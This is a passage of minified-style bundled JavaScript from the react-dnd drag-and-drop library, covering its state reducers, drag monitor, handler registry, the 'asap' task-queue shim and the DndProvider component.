(key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _defineProperty$2(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var initialState$1 = { itemType: null, item: null, sourceId: null, targetIds: [], dropResult: null, didDrop: false, isSourcePublic: null }; function reduce$1() { var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : initialState$1; var action = arguments.length > 1 ? arguments[1] : undefined; var payload = action.payload; switch (action.type) { case BEGIN_DRAG: return _objectSpread$2(_objectSpread$2({}, state), {}, { itemType: payload.itemType, item: payload.item, sourceId: payload.sourceId, isSourcePublic: payload.isSourcePublic, dropResult: null, didDrop: false }); case PUBLISH_DRAG_SOURCE: return _objectSpread$2(_objectSpread$2({}, state), {}, { isSourcePublic: true }); case HOVER: return _objectSpread$2(_objectSpread$2({}, state), {}, { targetIds: payload.targetIds }); case REMOVE_TARGET: if (state.targetIds.indexOf(payload.targetId) === -1) { return state; } return _objectSpread$2(_objectSpread$2({}, state), {}, { targetIds: without(state.targetIds, payload.targetId) }); case DROP: return _objectSpread$2(_objectSpread$2({}, state), {}, { dropResult: payload.dropResult, didDrop: true, targetIds: [] }); case END_DRAG: return _objectSpread$2(_objectSpread$2({}, state), {}, { itemType: null, item: null, sourceId: null, dropResult: null, didDrop: false, isSourcePublic: null, targetIds: [] }); default: return state; } } function reduce$2() { var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; var action = arguments.length > 1 ? arguments[1] : undefined; switch (action.type) { case ADD_SOURCE: case ADD_TARGET: return state + 1; case REMOVE_SOURCE: case REMOVE_TARGET: return state - 1; default: return state; } } var NONE = []; var ALL = []; NONE.__IS_NONE__ = true; ALL.__IS_ALL__ = true; /** * Determines if the given handler IDs are dirty or not. * * @param dirtyIds The set of dirty handler ids * @param handlerIds The set of handler ids to check */ function areDirty(dirtyIds, handlerIds) { if (dirtyIds === NONE) { return false; } if (dirtyIds === ALL || typeof handlerIds === 'undefined') { return true; } var commonIds = intersection(handlerIds, dirtyIds); return commonIds.length > 0; } function reduce$3() { var action = arguments.length > 1 ? arguments[1] : undefined; switch (action.type) { case HOVER: break; case ADD_SOURCE: case ADD_TARGET: case REMOVE_TARGET: case REMOVE_SOURCE: return NONE; case BEGIN_DRAG: case PUBLISH_DRAG_SOURCE: case END_DRAG: case DROP: default: return ALL; } var _action$payload = action.payload, _action$payload$targe = _action$payload.targetIds, targetIds = _action$payload$targe === void 0 ? [] : _action$payload$targe, _action$payload$prevT = _action$payload.prevTargetIds, prevTargetIds = _action$payload$prevT === void 0 ? [] : _action$payload$prevT; var result = xor(targetIds, prevTargetIds); var didChange = result.length > 0 || !areArraysEqual(targetIds, prevTargetIds); if (!didChange) { return NONE; } // Check the target ids at the innermost position. If they are valid, add them // to the result var prevInnermostTargetId = prevTargetIds[prevTargetIds.length - 1]; var innermostTargetId = targetIds[targetIds.length - 1]; if (prevInnermostTargetId !== innermostTargetId) { if (prevInnermostTargetId) { result.push(prevInnermostTargetId); } if (innermostTargetId) { result.push(innermostTargetId); } } return result; } function reduce$4() { var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; return state + 1; } function ownKeys$3(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread$3(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys$3(Object(source), true).forEach(function (key) { _defineProperty$3(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys$3(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _defineProperty$3(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function reduce$5() { var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var action = arguments.length > 1 ? arguments[1] : undefined; return { dirtyHandlerIds: reduce$3(state.dirtyHandlerIds, { type: action.type, payload: _objectSpread$3(_objectSpread$3({}, action.payload), {}, { prevTargetIds: get(state, 'dragOperation.targetIds', []) }) }), dragOffset: reduce(state.dragOffset, action), refCount: reduce$2(state.refCount, action), dragOperation: reduce$1(state.dragOperation, action), stateId: reduce$4(state.stateId) }; } /** * Coordinate addition * @param a The first coordinate * @param b The second coordinate */ function add(a, b) { return { x: a.x + b.x, y: a.y + b.y }; } /** * Coordinate subtraction * @param a The first coordinate * @param b The second coordinate */ function subtract(a, b) { return { x: a.x - b.x, y: a.y - b.y }; } /** * Returns the cartesian distance of the drag source component's position, based on its position * at the time when the current drag operation has started, and the movement difference. * * Returns null if no item is being dragged. * * @param state The offset state to compute from */ function getSourceClientOffset(state) { var clientOffset = state.clientOffset, initialClientOffset = state.initialClientOffset, initialSourceClientOffset = state.initialSourceClientOffset; if (!clientOffset || !initialClientOffset || !initialSourceClientOffset) { return null; } return subtract(add(clientOffset, initialSourceClientOffset), initialClientOffset); } /** * Determines the x,y offset between the client offset and the initial client offset * * @param state The offset state to compute from */ function getDifferenceFromInitialOffset(state) { var clientOffset = state.clientOffset, initialClientOffset = state.initialClientOffset; if (!clientOffset || !initialClientOffset) { return null; } return subtract(clientOffset, initialClientOffset); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var DragDropMonitorImpl = /*#__PURE__*/function () { function DragDropMonitorImpl(store, registry) { _classCallCheck(this, DragDropMonitorImpl); this.store = store; this.registry = registry; } _createClass(DragDropMonitorImpl, [{ key: "subscribeToStateChange", value: function subscribeToStateChange(listener) { var _this = this; var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : { handlerIds: undefined }; var handlerIds = options.handlerIds; invariant(typeof listener === 'function', 'listener must be a function.'); invariant(typeof handlerIds === 'undefined' || Array.isArray(handlerIds), 'handlerIds, when specified, must be an array of strings.'); var prevStateId = this.store.getState().stateId; var handleChange = function handleChange() { var state = _this.store.getState(); var currentStateId = state.stateId; try { var canSkipListener = currentStateId === prevStateId || currentStateId === prevStateId + 1 && !areDirty(state.dirtyHandlerIds, handlerIds); if (!canSkipListener) { listener(); } } finally { prevStateId = currentStateId; } }; return this.store.subscribe(handleChange); } }, { key: "subscribeToOffsetChange", value: function subscribeToOffsetChange(listener) { var _this2 = this; invariant(typeof listener === 'function', 'listener must be a function.'); var previousState = this.store.getState().dragOffset; var handleChange = function handleChange() { var nextState = _this2.store.getState().dragOffset; if (nextState === previousState) { return; } previousState = nextState; listener(); }; return this.store.subscribe(handleChange); } }, { key: "canDragSource", value: function canDragSource(sourceId) { if (!sourceId) { return false; } var source = this.registry.getSource(sourceId); invariant(source, 'Expected to find a valid source.'); if (this.isDragging()) { return false; } return source.canDrag(this, sourceId); } }, { key: "canDropOnTarget", value: function canDropOnTarget(targetId) { // undefined on initial render if (!targetId) { return false; } var target = this.registry.getTarget(targetId); invariant(target, 'Expected to find a valid target.'); if (!this.isDragging() || this.didDrop()) { return false; } var targetType = this.registry.getTargetType(targetId); var draggedItemType = this.getItemType(); return matchesType(targetType, draggedItemType) && target.canDrop(this, targetId); } }, { key: "isDragging", value: function isDragging() { return Boolean(this.getItemType()); } }, { key: "isDraggingSource", value: function isDraggingSource(sourceId) { // undefined on initial render if (!sourceId) { return false; } var source = this.registry.getSource(sourceId, true); invariant(source, 'Expected to find a valid source.'); if (!this.isDragging() || !this.isSourcePublic()) { return false; } var sourceType = this.registry.getSourceType(sourceId); var draggedItemType = this.getItemType(); if (sourceType !== draggedItemType) { return false; } return source.isDragging(this, sourceId); } }, { key: "isOverTarget", value: function isOverTarget(targetId) { var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : { shallow: false }; // undefined on initial render if (!targetId) { return false; } var shallow = options.shallow; if (!this.isDragging()) { return false; } var targetType = this.registry.getTargetType(targetId); var draggedItemType = this.getItemType(); if (draggedItemType && !matchesType(targetType, draggedItemType)) { return false; } var targetIds = this.getTargetIds(); if (!targetIds.length) { return false; } var index = targetIds.indexOf(targetId); if (shallow) { return index === targetIds.length - 1; } else { return index > -1; } } }, { key: "getItemType", value: function getItemType() { return this.store.getState().dragOperation.itemType; } }, { key: "getItem", value: function getItem() { return this.store.getState().dragOperation.item; } }, { key: "getSourceId", value: function getSourceId() { return this.store.getState().dragOperation.sourceId; } }, { key: "getTargetIds", value: function getTargetIds() { return this.store.getState().dragOperation.targetIds; } }, { key: "getDropResult", value: function getDropResult() { return this.store.getState().dragOperation.dropResult; } }, { key: "didDrop", value: function didDrop() { return this.store.getState().dragOperation.didDrop; } }, { key: "isSourcePublic", value: function isSourcePublic() { return Boolean(this.store.getState().dragOperation.isSourcePublic); } }, { key: "getInitialClientOffset", value: function getInitialClientOffset() { return this.store.getState().dragOffset.initialClientOffset; } }, { key: "getInitialSourceClientOffset", value: function getInitialSourceClientOffset() { return this.store.getState().dragOffset.initialSourceClientOffset; } }, { key: "getClientOffset", value: function getClientOffset() { return this.store.getState().dragOffset.clientOffset; } }, { key: "getSourceClientOffset", value: function getSourceClientOffset$1() { return getSourceClientOffset(this.store.getState().dragOffset); } }, { key: "getDifferenceFromInitialOffset", value: function getDifferenceFromInitialOffset$1() { return getDifferenceFromInitialOffset(this.store.getState().dragOffset); } }]); return DragDropMonitorImpl; }(); var nextUniqueId = 0; function getNextUniqueId() { return nextUniqueId++; } function _typeof$1(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$1 = function _typeof(obj) { return typeof obj; }; } else { _typeof$1 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$1(obj); } function validateSourceContract(source) { invariant(typeof source.canDrag === 'function', 'Expected canDrag to be a function.'); invariant(typeof source.beginDrag === 'function', 'Expected beginDrag to be a function.'); invariant(typeof source.endDrag === 'function', 'Expected endDrag to be a function.'); } function validateTargetContract(target) { invariant(typeof target.canDrop === 'function', 'Expected canDrop to be a function.'); invariant(typeof target.hover === 'function', 'Expected hover to be a function.'); invariant(typeof target.drop === 'function', 'Expected beginDrag to be a function.'); } function validateType(type, allowArray) { if (allowArray && Array.isArray(type)) { type.forEach(function (t) { return validateType(t, false); }); return; } invariant(typeof type === 'string' || _typeof$1(type) === 'symbol', allowArray ? 'Type can only be a string, a symbol, or an array of either.' : 'Type can only be a string or a symbol.'); } // Use the fastest means possible to execute a task in its own turn, with // priority over other events including IO, animation, reflow, and redraw // events in browsers. // // An exception thrown by a task will permanently interrupt the processing of // subsequent tasks. The higher level `asap` function ensures that if an // exception is thrown by a task, that the task queue will continue flushing as // soon as possible, but if you use `rawAsap` directly, you are responsible to // either ensure that no exceptions are thrown from your task, or to manually // call `rawAsap.requestFlush` if an exception is thrown. function rawAsap(task) { if (!queue.length) { requestFlush(); } // Equivalent to push, but avoids a function call. queue[queue.length] = task; } var queue = []; // Once a flush has been requested, no further calls to `requestFlush` are // off a `flush` event as quickly as possible. `flush` will attempt to exhaust // the event queue before yielding to the browser's own event loop. var requestFlush; // The position of the next task to execute in the task queue. This is // preserved between calls to `flush` so that it can be resumed if // a task throws an exception. var index = 0; // If a task schedules additional tasks recursively, the task queue can grow // unbounded. To prevent memory exhaustion, the task queue will periodically // truncate already-completed tasks. var capacity = 1024; // The flush function processes all tasks that have been scheduled with // `rawAsap` unless and until one of those tasks throws an exception. // If a task throws an exception, `flush` ensures that its state will remain // consistent and will resume where it left off when called again. // However, `flush` does not make any arrangements to be called again if an // exception is thrown. function flush() { while (index < queue.length) { var currentIndex = index; // Advance the index before calling the task. This ensures that we will // begin flushing on the next task the task throws an error. index = index + 1; queue[currentIndex].call(); // Prevent leaking memory for long chains of recursive calls to `asap`. // If we call `asap` within tasks scheduled by `asap`, the queue will // grow, but to avoid an O(n) walk for every task we execute, we don't // shift tasks off the queue after they have been executed. // Instead, we periodically shift 1024 tasks off the queue. if (index > capacity) { // Manually shift all values starting at the index back to the // beginning of the queue. for (var scan = 0, newLength = queue.length - index; scan < newLength; scan++) { queue[scan] = queue[scan + index]; } queue.length -= index; index = 0; } } queue.length = 0; index = 0; } // `requestFlush` is implemented using a strategy based on data collected from // every available SauceLabs Selenium web driver worker at time of writing. // https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593 // Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that // have WebKitMutationObserver but not un-prefixed MutationObserver. // Must use `global` or `self` instead of `window` to work in both frames and web // workers. `global` is a provision of Browserify, Mr, Mrs, or Mop. /* globals self */ var scope = typeof global !== 'undefined' ? global : self; var BrowserMutationObserver = scope.MutationObserver || scope.WebKitMutationObserver; // MutationObservers are desirable because they have high priority and work // reliably everywhere they are implemented. // They are implemented in all modern browsers. // // - Android 4-4.3 // - Chrome 26-34 // - Firefox 14-29 // - Internet Explorer 11 // - iPad Safari 6-7.1 // - iPhone Safari 7-7.1 // - Safari 6-7 if (typeof BrowserMutationObserver === 'function') { requestFlush = makeRequestCallFromMutationObserver(flush); // MessageChannels are desirable because they give direct access to the HTML // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera // 11-12, and in web workers in many engines. // Although message channels yield to any queued rendering and IO tasks, they // would be better than imposing the 4ms delay of timers. // However, they do not work reliably in Internet Explorer or Safari. // Internet Explorer 10 is the only browser that has setImmediate but does // not have MutationObservers. // Although setImmediate yields to the browser's renderer, it would be // preferrable to falling back to setTimeout since it does not have // the minimum 4ms penalty. // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and // Desktop to a lesser extent) that renders both setImmediate and // MessageChannel useless for the purposes of ASAP. // https://github.com/kriskowal/q/issues/396 // Timers are implemented universally. // We fall back to timers in workers in most engines, and in foreground // contexts in the following browsers. // However, note that even this simple case requires nuances to operate in a // broad spectrum of browsers. // // - Firefox 3-13 // - Internet Explorer 6-9 // - iPad Safari 4.3 // - Lynx 2.8.7 } else { requestFlush = makeRequestCallFromTimer(flush); } // `requestFlush` requests that the high priority event queue be flushed as // soon as possible. // This is useful to prevent an error thrown in a task from stalling the event // queue if the exception handled by Node.js’s // `process.on("uncaughtException")` or by a domain. rawAsap.requestFlush = requestFlush; // To request a high priority event, we induce a mutation observer by toggling // the text of a text node between "1" and "-1". function makeRequestCallFromMutationObserver(callback) { var toggle = 1; var observer = new BrowserMutationObserver(callback); var node = document.createTextNode(''); observer.observe(node, { characterData: true }); return function requestCall() { toggle = -toggle; node.data = toggle; }; } // The message channel technique was discovered by Malte Ubl and was the // original foundation for this library. // http://www.nonblocking.io/2011/06/windownexttick.html // Safari 6.0.5 (at least) intermittently fails to create message ports on a // page's first load. Thankfully, this version of Safari supports // MutationObservers, so we don't need to fall back in that case. // function makeRequestCallFromMessageChannel(callback) { // var channel = new MessageChannel(); // channel.port1.onmessage = callback; // return function requestCall() { // channel.port2.postMessage(0); // }; // } // For reasons explained above, we are also unable to use `setImmediate` // under any circumstances. // Even if we were, there is another bug in Internet Explorer 10. // It is not sufficient to assign `setImmediate` to `requestFlush` because // `setImmediate` must be called *by name* and therefore must be wrapped in a // closure. // Never forget. // function makeRequestCallFromSetImmediate(callback) { // return function requestCall() { // setImmediate(callback); // }; // } // Safari 6.0 has a problem where timers will get lost while the user is // scrolling. This problem does not impact ASAP because Safari 6.0 supports // mutation observers, so that implementation is used instead. // However, if we ever elect to use timers in Safari, the prevalent work-around // is to add a scroll event listener that calls for a flush. // `setTimeout` does not call the passed callback if the delay is less than // approximately 7 in web workers in Firefox 8 through 18, and sometimes not // even then. function makeRequestCallFromTimer(callback) { return function requestCall() { // We dispatch a timeout with a specified delay of 0 for engines that // can reliably accommodate that request. This will usually be snapped // to a 4 milisecond delay, but once we're flushing, there's no delay // between events. var timeoutHandle = setTimeout(handleTimer, 0); // However, since this timer gets frequently dropped in Firefox // workers, we enlist an interval handle that will try to fire // an event 20 times per second until it succeeds. var intervalHandle = setInterval(handleTimer, 50); function handleTimer() { // Whichever timer succeeds will cancel both timers and // execute the callback. clearTimeout(timeoutHandle); clearInterval(intervalHandle); callback(); } }; } // This is for `asap.js` only. // Its name will be periodically randomized to break any code that depends on // its existence. rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer; // ASAP was originally a nextTick shim included in Q. This was factored out // into this ASAP package. It was later adapted to RSVP which made further // amendments. These decisions, particularly to marginalize MessageChannel and // to capture the MutationObserver implementation in a closure, were integrated // back into ASAP proper. // https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js // RawTasks are recycled to reduce GC churn. var freeTasks = []; // We queue errors to ensure they are thrown in right order (FIFO). // Array-as-queue is good enough here, since we are just dealing with exceptions. var pendingErrors = []; var requestErrorThrow = rawAsap.makeRequestCallFromTimer(throwFirstError); function throwFirstError() { if (pendingErrors.length) { throw pendingErrors.shift(); } } /** * Calls a task as soon as possible after returning, in its own event, with priority * over other events like animation, reflow, and repaint. An error thrown from an * event will not interrupt, nor even substantially slow down the processing of * other events, but will be rather postponed to a lower priority event. * @param {{call}} task A callable object, typically a function that takes no * arguments. */ function asap(task) { var rawTask; if (freeTasks.length) { rawTask = freeTasks.pop(); } else { rawTask = new RawTask(); } rawTask.task = task; rawAsap(rawTask); } // We wrap tasks with recyclable task objects. A task object implements // `call`, just like a function. var RawTask = /** @class */ function () { function RawTask() {} RawTask.prototype.call = function () { try { this.task.call(); } catch (error) { if (asap.onerror) { // This hook exists purely for testing purposes. // Its name will be periodically randomized to break any code that // depends on its existence. asap.onerror(error); } else { // In a web browser, exceptions are not fatal. However, to avoid // slowing down the queue of pending tasks, we rethrow the error in a // lower priority turn. pendingErrors.push(error); requestErrorThrow(); } } finally { this.task = null; freeTasks[freeTasks.length] = this; } }; return RawTask; }(); function _classCallCheck$1(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$1(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$1(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$1(Constructor.prototype, protoProps); if (staticProps) _defineProperties$1(Constructor, staticProps); return Constructor; } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function getNextHandlerId(role) { var id = getNextUniqueId().toString(); switch (role) { case HandlerRole.SOURCE: return "S".concat(id); case HandlerRole.TARGET: return "T".concat(id); default: throw new Error("Unknown Handler Role: ".concat(role)); } } function parseRoleFromHandlerId(handlerId) { switch (handlerId[0]) { case 'S': return HandlerRole.SOURCE; case 'T': return HandlerRole.TARGET; default: invariant(false, "Cannot parse handler ID: ".concat(handlerId)); } } function mapContainsValue(map, searchValue) { var entries = map.entries(); var isDone = false; do { var _entries$next = entries.next(), done = _entries$next.done, _entries$next$value = _slicedToArray(_entries$next.value, 2), value = _entries$next$value[1]; if (value === searchValue) { return true; } isDone = !!done; } while (!isDone); return false; } var HandlerRegistryImpl = /*#__PURE__*/function () { function HandlerRegistryImpl(store) { _classCallCheck$1(this, HandlerRegistryImpl); this.types = new Map(); this.dragSources = new Map(); this.dropTargets = new Map(); this.pinnedSourceId = null; this.pinnedSource = null; this.store = store; } _createClass$1(HandlerRegistryImpl, [{ key: "addSource", value: function addSource$1(type, source) { validateType(type); validateSourceContract(source); var sourceId = this.addHandler(HandlerRole.SOURCE, type, source); this.store.dispatch(addSource(sourceId)); return sourceId; } }, { key: "addTarget", value: function addTarget$1(type, target) { validateType(type, true); validateTargetContract(target); var targetId = this.addHandler(HandlerRole.TARGET, type, target); this.store.dispatch(addTarget(targetId)); return targetId; } }, { key: "containsHandler", value: function containsHandler(handler) { return mapContainsValue(this.dragSources, handler) || mapContainsValue(this.dropTargets, handler); } }, { key: "getSource", value: function getSource(sourceId) { var includePinned = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; invariant(this.isSourceId(sourceId), 'Expected a valid source ID.'); var isPinned = includePinned && sourceId === this.pinnedSourceId; var source = isPinned ? this.pinnedSource : this.dragSources.get(sourceId); return source; } }, { key: "getTarget", value: function getTarget(targetId) { invariant(this.isTargetId(targetId), 'Expected a valid target ID.'); return this.dropTargets.get(targetId); } }, { key: "getSourceType", value: function getSourceType(sourceId) { invariant(this.isSourceId(sourceId), 'Expected a valid source ID.'); return this.types.get(sourceId); } }, { key: "getTargetType", value: function getTargetType(targetId) { invariant(this.isTargetId(targetId), 'Expected a valid target ID.'); return this.types.get(targetId); } }, { key: "isSourceId", value: function isSourceId(handlerId) { var role = parseRoleFromHandlerId(handlerId); return role === HandlerRole.SOURCE; } }, { key: "isTargetId", value: function isTargetId(handlerId) { var role = parseRoleFromHandlerId(handlerId); return role === HandlerRole.TARGET; } }, { key: "removeSource", value: function removeSource$1(sourceId) { var _this = this; invariant(this.getSource(sourceId), 'Expected an existing source.'); this.store.dispatch(removeSource(sourceId)); asap(function () { _this.dragSources.delete(sourceId); _this.types.delete(sourceId); }); } }, { key: "removeTarget", value: function removeTarget$1(targetId) { invariant(this.getTarget(targetId), 'Expected an existing target.'); this.store.dispatch(removeTarget(targetId)); this.dropTargets.delete(targetId); this.types.delete(targetId); } }, { key: "pinSource", value: function pinSource(sourceId) { var source = this.getSource(sourceId); invariant(source, 'Expected an existing source.'); this.pinnedSourceId = sourceId; this.pinnedSource = source; } }, { key: "unpinSource", value: function unpinSource() { invariant(this.pinnedSource, 'No source is pinned at the time.'); this.pinnedSourceId = null; this.pinnedSource = null; } }, { key: "addHandler", value: function addHandler(role, type, handler) { var id = getNextHandlerId(role); this.types.set(id, type); if (role === HandlerRole.SOURCE) { this.dragSources.set(id, handler); } else if (role === HandlerRole.TARGET) { this.dropTargets.set(id, handler); } return id; } }]); return HandlerRegistryImpl; }(); function _classCallCheck$2(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$2(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$2(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$2(Constructor.prototype, protoProps); if (staticProps) _defineProperties$2(Constructor, staticProps); return Constructor; } function makeStoreInstance(debugMode) { // TODO: if we ever make a react-native version of this, // we'll need to consider how to pull off dev-tooling var reduxDevTools = typeof window !== 'undefined' && window.__REDUX_DEVTOOLS_EXTENSION__; return createStore(reduce$5, debugMode && reduxDevTools && reduxDevTools({ name: 'dnd-core', instanceId: 'dnd-core' })); } var DragDropManagerImpl = /*#__PURE__*/function () { function DragDropManagerImpl() { var _this = this; var debugMode = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; _classCallCheck$2(this, DragDropManagerImpl); this.isSetUp = false; this.handleRefCountChange = function () { var shouldSetUp = _this.store.getState().refCount > 0; if (_this.backend) { if (shouldSetUp && !_this.isSetUp) { _this.backend.setup(); _this.isSetUp = true; } else if (!shouldSetUp && _this.isSetUp) { _this.backend.teardown(); _this.isSetUp = false; } } }; var store = makeStoreInstance(debugMode); this.store = store; this.monitor = new DragDropMonitorImpl(store, new HandlerRegistryImpl(store)); store.subscribe(this.handleRefCountChange); } _createClass$2(DragDropManagerImpl, [{ key: "receiveBackend", value: function receiveBackend(backend) { this.backend = backend; } }, { key: "getMonitor", value: function getMonitor() { return this.monitor; } }, { key: "getBackend", value: function getBackend() { return this.backend; } }, { key: "getRegistry", value: function getRegistry() { return this.monitor.registry; } }, { key: "getActions", value: function getActions() { /* eslint-disable-next-line @typescript-eslint/no-this-alias */ var manager = this; var dispatch = this.store.dispatch; function bindActionCreator(actionCreator) { return function () { for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } var action = actionCreator.apply(manager, args); if (typeof action !== 'undefined') { dispatch(action); } }; } var actions = createDragDropActions(this); return Object.keys(actions).reduce(function (boundActions, key) { var action = actions[key]; boundActions[key] = bindActionCreator(action); return boundActions; }, {}); } }, { key: "dispatch", value: function dispatch(action) { this.store.dispatch(action); } }]); return DragDropManagerImpl; }(); function createDragDropManager(backendFactory, globalContext, backendOptions, debugMode) { var manager = new DragDropManagerImpl(debugMode); var backend = backendFactory(manager, globalContext, backendOptions); manager.receiveBackend(backend); return manager; } /** * Create the React Context */ var DndContext = React.createContext({ dragDropManager: undefined }); /** * Creates the context object we're providing * @param backend * @param context */ function createDndContext(backend, context, options, debugMode) { return { dragDropManager: createDragDropManager(backend, context, options, debugMode) }; } function _slicedToArray$1(arr, i) { return _arrayWithHoles$1(arr) || _iterableToArrayLimit$1(arr, i) || _unsupportedIterableToArray$1(arr, i) || _nonIterableRest$1(); } function _nonIterableRest$1() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$1(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$1(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$1(o, minLen); } function _arrayLikeToArray$1(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$1(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$1(arr) { if (Array.isArray(arr)) return arr; } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } var refCount = 0; /** * A React component that provides the React-DnD context */ var DndProvider = React.memo(function (_ref) { var children = _ref.children, props = _objectWithoutProperties(_ref, ["children"]); var _getDndContextValue = getDndContextValue(props), _getDndContextValue2 = _slicedToArray$1(_getDndContextValue, 2), manager = _getDndContextValue2[0], isGlobalInstance = _getDndContextValue2[1]; // memoized from props /** * If the global context was used to store the DND context * then where theres no more references to it we should * clean it up to avoid memory leaks */ React.useEffect(function () { if (isGlobalInstance) { refCount++; } return function () { if (isGlobalInstance) { refCount--; if (refCount === 0) { var context = getGlobalContext(); context[instanceSymbol] = null; } } }; }, []); return React.createElement(DndContext.Provider, { value: manager }, children); }); DndProvider.displayName = 'DndProvider'; function getDndContextValue(props) { if ('manager' in props) { var _manager 